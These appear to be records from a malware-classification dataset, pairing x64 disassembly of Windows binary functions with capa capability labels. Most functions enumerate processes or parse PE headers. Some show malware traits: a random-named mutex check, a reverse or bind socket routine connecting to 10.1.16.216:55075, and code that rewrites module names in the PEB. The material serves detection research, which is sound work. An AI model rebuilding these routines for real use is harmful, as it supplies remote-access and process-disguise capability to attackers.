joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001c5c0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x2a0
mov rax, qword [0x140040010]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov rdi, rcx
mov qword [rsp + 0x48], rcx
mov rdx, rcx
lea rcx, [rsp + 0x28]
call fcn.140017e40
mov rbx, rax
mov dword [rsp + 0x50], 0x238
xor r14d, r14d
mov esi, r14d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x14001c68e
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x14001c68e
mov r8, rbx
cmp qword [rbx + 0x18], 8
jb 0x14001c64e
mov r8, qword [rbx]
lea rax, [rsp + 0x7c]
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14001c674
add rax, 2
test ecx, ecx
jne 0x14001c660
test edx, edx
cmove esi, dword [rsp + 0x58]
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x14001c641
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x14001c6d2
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14001c6cd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001c732
mov rcx, r8
call fcn.14001f07c
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 7
mov word [rbx], r14w
call fcn.14001cbb0
nop
mov rdx, qword [rdi + 0x18]
cmp eax, esi
jne 0x14001c739
cmp rdx, 8
jb 0x14001c72b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14001c726
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001c7aa
mov rcx, r8
call fcn.14001f07c
mov eax, 1
jmp 0x14001c772
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
cmp rdx, 8
jb 0x14001c770
lea rdx, [rdx*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14001c76b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001c7aa
mov rcx, r8
call fcn.14001f07c
xor eax, eax
mov word [rdi], r14w
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], r14
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.14001f020
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14001c9d0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rax, qword gs:[0x60]
xor ebp, ebp
mov rdi, rdx
mov rbx, rcx
mov esi, ebp
mov r8, qword [rax + 0x18]
mov r14, qword [r8 + 0x20]
nop dword [rax]
mov rax, qword [rbx + 0x18]
cmp esi, 0x100
jge 0x14001cb02
mov rdx, rbx
cmp rax, 8
jb 0x14001ca1c
mov rdx, qword [rbx]
mov rcx, qword [r14 + 0x40]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x14001ca32
mov r14, qword [r14]
inc esi
jmp 0x14001ca00
cmp qword [rdi + 0x18], 8
mov r8, rdi
jb 0x14001ca3f
mov r8, qword [rdi]
mov rdx, qword [rbx + 0x10]
mov rcx, qword [r14 + 0x40]
inc rdx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
movzx eax, word [rdi + 0x10]
add ax, ax
inc ax
mov word [r14 + 0x38], ax
movzx eax, word [rdi + 0x10]
add ax, ax
inc ax
mov word [r14 + 0x3a], ax
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x14001caad
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14001caa8
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001cba7
mov rcx, r8
call fcn.14001f07c
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], 7
mov word [rbx], bp
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x14001cafb
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14001caf6
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001cba7
mov rcx, r8
call fcn.14001f07c
mov al, 1
jmp 0x14001cb85
cmp rax, 8
jb 0x14001cb39
mov rcx, qword [rbx]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14001cb34
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001cba7
mov rcx, r8
call fcn.14001f07c
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], 7
mov word [rbx], bp
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x14001cb83
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14001cb7e
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001cba7
mov rcx, r8
call fcn.14001f07c
xor al, al
mov rbx, qword [rsp + 0x50]
mov word [rdi], bp
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], rbp
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14001cbb0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x140040010]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov qword [rsp + 0x20], rax
cmp rax, 0xffffffffffffffff
je 0x14001cc3d
xor edx, edx
mov r8d, 0x238
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14001cc3d
cmp dword [rsp + 0x38], edi
je 0x14001cc39
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x14001cc1f
mov esi, dword [rsp + 0x50]
cmp rbx, 0xffffffffffffffff
je 0x14001cc4c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14001f020
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x14001cc80
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rax
test rax, rax
jne 0x14001ccb5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str._Failed_to_get_module_handle:__d___GetSectionAddress_n
mov edx, 2
mov r9d, eax
call fcn.1400129d0
xor eax, eax
add rsp, 0x28
ret
mov eax, 0x5a4d
cmp word [r9], ax
je 0x14001ccd8
lea r8, str._Invalid_DOS_header___GetSectionAddress._n
mov edx, 2
call fcn.140012820
xor eax, eax
add rsp, 0x28
ret
movsxd rcx, dword [r9 + 0x3c]
add rcx, r9
cmp dword [rcx], 0x4550
je 0x14001ccff
lea r8, str._Invalid_NT_header___GetSectionAddress._n
mov edx, 2
call fcn.140012820
xor eax, eax
add rsp, 0x28
ret
movzx edx, word [rcx + 0x14]
lea r10, str..text
add rdx, 0x18
add rdx, rcx
xor r8d, r8d
test rdx, rdx
je 0x14001cd3f
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r10 + rax - 1]
jne 0x14001cd3f
cmp rax, 6
jne 0x14001cd20
mov eax, dword [rdx + 0xc]
add rax, r9
add rsp, 0x28
ret
add rdx, 0x28
inc r8d
cmp r8d, 6
jl 0x14001cd14
lea r8, str..text_section_not_found._n
mov edx, 1
call fcn.140012820
xor eax, eax
add rsp, 0x28
ret
Function at 0x14001cfc0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0xa70
mov rax, qword [0x140040010]
xor rax, rsp
mov qword [rsp + 0xa60], rax
mov r14, rcx
xor r15d, r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r9, [rsp + 0x20]
mov r8d, 0x800
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x14001d173
mov ecx, dword [rsp + 0x20]
mov eax, ecx
shr rax, 3
cmp qword [r14 + 0xb0], rax
jae 0x14001d184
mov ebp, r15d
test ecx, 0xfffffff8
jbe 0x14001d14f
movabs r12, 0xaaaaaaaaaaaaaaa
nop dword [rax]
mov ecx, 0x620
call fcn.14001f040
mov rdi, rax
xor edx, edx
mov r8d, 0x620
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov ecx, ebp
lea rbx, [rsp + 0x50]
lea rbx, [rbx + rcx*8]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x104
lea r8, [rsp + 0x850]
mov rdx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x14001d16a
lea rcx, [rdi + 0x200]
lea r8, [rsp + 0x850]
mov edx, 0x200
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov rax, qword [rbx]
mov qword [rdi + 0x618], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x18
lea r8, [rsp + 0x38]
mov rdx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x14001d161
mov rax, qword [rsp + 0x38]
mov qword [rdi + 0x600], rax
mov eax, dword [rsp + 0x40]
mov dword [rdi + 0x608], eax
lea rbx, [r14 + 0xa8]
mov rsi, qword [rbx]
cmp qword [rbx + 8], r12
je 0x14001d153
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], r15
mov ecx, 0x18
call fcn.14001f040
mov qword [rax + 0x10], rdi
inc qword [rbx + 8]
mov rcx, qword [rsi + 8]
mov qword [rax], rsi
mov qword [rax + 8], rcx
mov qword [rsp + 0x30], r15
mov qword [rsi + 8], rax
mov qword [rcx], rax
inc ebp
mov eax, dword [rsp + 0x20]
shr eax, 3
cmp ebp, eax
jb 0x14001d050
mov al, 1
jmp 0x14001d186
lea rcx, str.list_too_long
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea r8, str.Unable_to_parse_module_information___Process::FillModuleList
jmp 0x14001d17a
lea r8, str.Unable_to_parse_module_named___Process::FillModuleList
jmp 0x14001d17a
lea r8, str.EnumProcessModules_failed___Process::FillModuleList
mov edx, 2
call fcn.140012820
xor al, al
mov rcx, qword [rsp + 0xa60]
xor rcx, rsp
call fcn.14001f020
lea r11, [rsp + 0xa70]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x14001d240
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x260
mov rax, qword [0x140040010]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor r14d, r14d
mov dword [rsp + 0x20], r14d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], 7
mov word [rcx], r14w
mov dword [rsp + 0x20], 1
mov r8d, edx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbp, rax
test rax, rax
je 0x14001d393
lea r9, [rsp + 0x24]
lea r8d, [r14 + 8]
lea rdx, [rsp + 0x28]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x14001d36e
mov r9d, 0x104
lea r8, [rsp + 0x40]
mov rdx, qword [rsp + 0x28]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x14001d35f
lea rax, [rsp + 0x40]
mov rdx, 0xffffffffffffffff
nop dword [rax]
inc rdx
cmp word [rax + rdx*2], 0
jne 0x14001d300
mov rax, qword [rdi + 0x18]
cmp rdx, rax
ja 0x14001d347
mov rsi, rdi
cmp rax, 8
jb 0x14001d31f
mov rsi, qword [rdi]
mov qword [rdi + 0x10], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rsi], r14w
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001d3ad
lea r9, [rsp + 0x40]
mov rcx, rdi
call fcn.140015df0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001d3ad
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.GetModuleBaseName_failed_with_error__d____Process::GetProcessName
jmp 0x14001d37b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.EnumProcessModules_failed_with_error__d____Process::GetProcessName
mov r9d, eax
mov edx, 2
call fcn.1400129d0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001d3ad
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, str.OpenProcess_failed_with_error__d____Process::GetProcessName
mov edx, 2
call fcn.1400129d0
mov rax, rdi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.14001f020
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x14001d3e0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x650
mov rax, qword [0x140040010]
xor rax, rsp
mov qword [rsp + 0x640], rax
mov rax, qword gs:[0x60]
mov ecx, 0x18
mov rsi, qword [rax + 0x18]
add rsi, 0x10
mov rbx, qword [rsi]
call fcn.14001f040
mov rdi, rax
xor eax, eax
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rax
mov r8, qword [rbx + 0x50]
lea rcx, [rsp + 0x220]
mov edx, 0x200
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, qword [rbx + 0x60]
lea rcx, [rsp + 0x20]
mov edx, pe_nt_image_headers64
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov rax, qword [rbx + 0x30]
mov rdx, qword [rdi + 8]
mov qword [rsp + 0x638], rax
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x620], rax
mov eax, dword [rbx + 0x40]
mov dword [rsp + 0x628], eax
cmp rdx, qword [rdi + 0x10]
je 0x14001d4a6
mov rcx, rdx
mov r8d, 0x620
lea rdx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memcpy
add qword [rdi + 8], 0x620
jmp 0x14001d4b3
lea r8, [rsp + 0x20]
mov rcx, rdi
call fcn.1400165c0
mov rbx, qword [rbx]
cmp rbx, rsi
jne 0x14001d432
mov rax, rdi
mov rcx, qword [rsp + 0x640]
xor rcx, rsp
call fcn.14001f020
lea r11, [rsp + 0x650]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x14001d4f0
Capabilities:
Access peb ldr_data

Disassembly:
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov r8, rcx
mov r10, rcx
mov r9, qword [rax + 0x18]
add r9, 0x10
mov rdi, qword [r9]
mov rax, qword [rdi + 0x60]
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14001d534
add rax, 2
test ecx, ecx
jne 0x14001d520
test edx, edx
je 0x14001d578
nop dword [rax + rax]
mov rdi, qword [rdi]
cmp rdi, r9
je 0x14001d5ef
mov rax, qword [rdi + 0x60]
mov r8, r10
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14001d574
add rax, 2
test ecx, ecx
jne 0x14001d560
test edx, edx
jne 0x14001d540
mov ecx, 0x620
mov qword [rsp + 0x30], rbx
call fcn.14001f040
xor edx, edx
mov r8d, 0x620
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
mov r8, qword [rdi + 0x50]
lea rcx, [rbx + 0x200]
mov edx, 0x200
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, qword [rdi + 0x60]
mov edx, pe_nt_image_headers64
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov rcx, qword [rdi + 0x30]
mov qword [rbx + 0x618], rcx
mov rax, qword [rdi + 0x30]
mov qword [rbx + 0x600], rax
mov eax, dword [rdi + 0x40]
mov dword [rbx + 0x608], eax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x14001fb7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001fbc6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001fbc6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001fbc6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001fbc6
cmp dword [rcx + 0x84], 0xe
jbe 0x14001fbc6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001fbc8
xor al, al
add rsp, 0x28
ret
Function at 0x180001000
Capabilities:
Check mutex on windows

Disassembly:
sub rsp, 0x38
lea r8, str.GlobalVP1XggpMLoT2JcML8N2I
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x18000102a
call fcn.180001650
xor eax, eax
add rsp, 0x38
ret

Function at 0x180001040
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rsi
sub rsp, 0x258
mov rax, qword [0x180024008]
xor rax, rsp
mov qword [rsp + 0x240], rax
xor eax, eax
mov qword [rsp + 0x270], rbx
mov ebp, r9d
mov rsi, r8
mov edx, eax
lea r8, str.reverse
lea r9, [0x180020ee8]
nop dword [rax]
movzx ecx, byte [r8 + rdx]
inc rdx
cmp cl, byte [r9 + rdx - 1]
jne 0x18000114c
cmp rdx, 8
jne 0x180001080
mov qword [rsp + 0x278], rdi
lea rcx, str.55075
mov qword [rsp + 0x250], r14
call fcn.1800060a0
mov r14d, 2
lea rdx, [rsp + 0x30]
mov ecx, r14d
mov ebx, eax
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
lea edx, [r14 - 1]
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
lea r8, [rsp + 0x24]
mov ecx, r14d
lea rdx, str.10.1.16.216
mov rdi, rax
call qword [sym.imp.WS2_32.dll_inet_pton]
movzx ecx, bx
mov word [rsp + 0x20], r14w
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [r14 + 0xe]
mov rcx, rdi
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov r14, qword [rsp + 0x250]
mov rdi, qword [rsp + 0x278]
jmp 0x1800011ab
lea rdx, str.bind
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
inc rax
cmp cl, byte [rdx + rax - 1]
jne 0x1800011ab
cmp rax, 5
jne 0x180001160
mov rbx, qword [rsp + 0x298]
xor r9d, r9d
mov rcx, rbx
mov r8d, ebp
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1800011ab
xor r9d, r9d
lea rdx, [rsp + 0x1d0]
mov rcx, rbx
lea r8d, [r9 + 0x64]
call qword [sym.imp.WS2_32.dll_recv]
mov rbx, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.180001ce0
add rsp, 0x258
pop rsi
pop rbp
ret
Function at 0x14000345c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400034a6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400034a6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400034a6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400034a6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400034a6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400034a8
xor al, al
add rsp, 0x28
ret

Function at 0x14000b590
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000b3bc

Function at 0x140017790
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400177b8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400177b8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400014d0
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rsi, rcx
xor r14d, r14d
mov ebx, r14d
mov dword [rsp + 0x20], r14d
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140001569
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rsp + 0x20]
mov r8d, dword [rsp + 0x20]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001520
test eax, eax
jns 0x1400015a8
test rbx, rbx
je 0x140001583
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000ec70
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
test rbx, rbx
je 0x140001583
mov edi, r14d
cmp dword [rbx], r14d
jbe 0x140001572
nop word [rax + rax]
mov eax, edi
imul rcx, rax, 0x128
lea rbp, [rcx + rbx]
movzx edx, word [rbp + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], 0xf
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x1400015f5
lea rcx, [rsp + 0x28]
call fcn.1400034d0
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140001616
mov rdx, qword [rsi]
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001679
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x14000166a
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001665
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400016c2
call fcn.14000ec90
inc edi
cmp edi, dword [rbx]
jb 0x1400015c0
jmp 0x140001572
mov rdi, qword [rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x1400016ce
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ec90
mov rax, rdi
jmp 0x140001585
Function at 0x1400028d0
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
push r12
push r13
mov eax, 0x1070
call fcn.14000fe60
sub rsp, rax
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov rdx, qword [rsp + 0x10b0]
xor ebp, ebp
mov qword [rsp + 0x38], r9
mov r12, r8
mov qword [rsp + 0x30], rdx
mov r13, rcx
test r8, r8
jne 0x14000291c
mov rdx, rbp
jmp 0x140002a30
mov r9d, 0x1000
lea rdx, [rsp + 0x40]
call fcn.1400016e0
test al, al
je 0x140002914
mov qword [rsp + 0x1068], rsi
lea rdx, str.PAGE
mov qword [rsp + 0x1060], rdi
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x1058], r14
mov qword [rsp + 0x1050], r15
nop
inc rdi
cmp byte [rdx + rdi], bpl
jne 0x140002960
movsxd rax, dword [rsp + 0x7c]
lea rcx, [rsp + 0x40]
add rcx, rax
mov qword [rsp + 0x1098], rbx
mov esi, ebp
movzx eax, word [rcx + 0x14]
lea r15, [rcx + 0x18]
movzx r14d, word [rcx + 6]
add r15, rax
test r14d, r14d
je 0x140002a05
nop word [rax + rax]
mov eax, esi
mov r8, rdi
lea rcx, [rax + rax*4]
lea rbx, [r15 + rcx*8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400029ce
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], bpl
jne 0x1400029c0
cmp rdi, rax
je 0x1400029de
inc esi
cmp esi, r14d
jae 0x140002a05
lea rdx, str.PAGE
jmp 0x1400029a0
mov eax, dword [rbx + 0xc]
test eax, eax
je 0x140002a05
mov ecx, dword [rbx + 8]
lea rdx, [rsp + 0x40]
add rdx, rax
je 0x140002a05
test ecx, ecx
je 0x140002a05
lea rax, [rsp + 0x40]
mov ebp, ecx
sub rdx, rax
add rdx, r12
jmp 0x140002a08
mov rdx, rbp
mov rbx, qword [rsp + 0x1098]
mov rdi, qword [rsp + 0x1060]
mov rsi, qword [rsp + 0x1068]
mov r14, qword [rsp + 0x1058]
mov r15, qword [rsp + 0x1050]
mov rax, qword [rsp + 0x30]
mov rcx, r13
mov r9, qword [rsp + 0x38]
mov r8d, ebp
mov qword [rsp + 0x20], rax
call fcn.1400027c0
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14000ec70
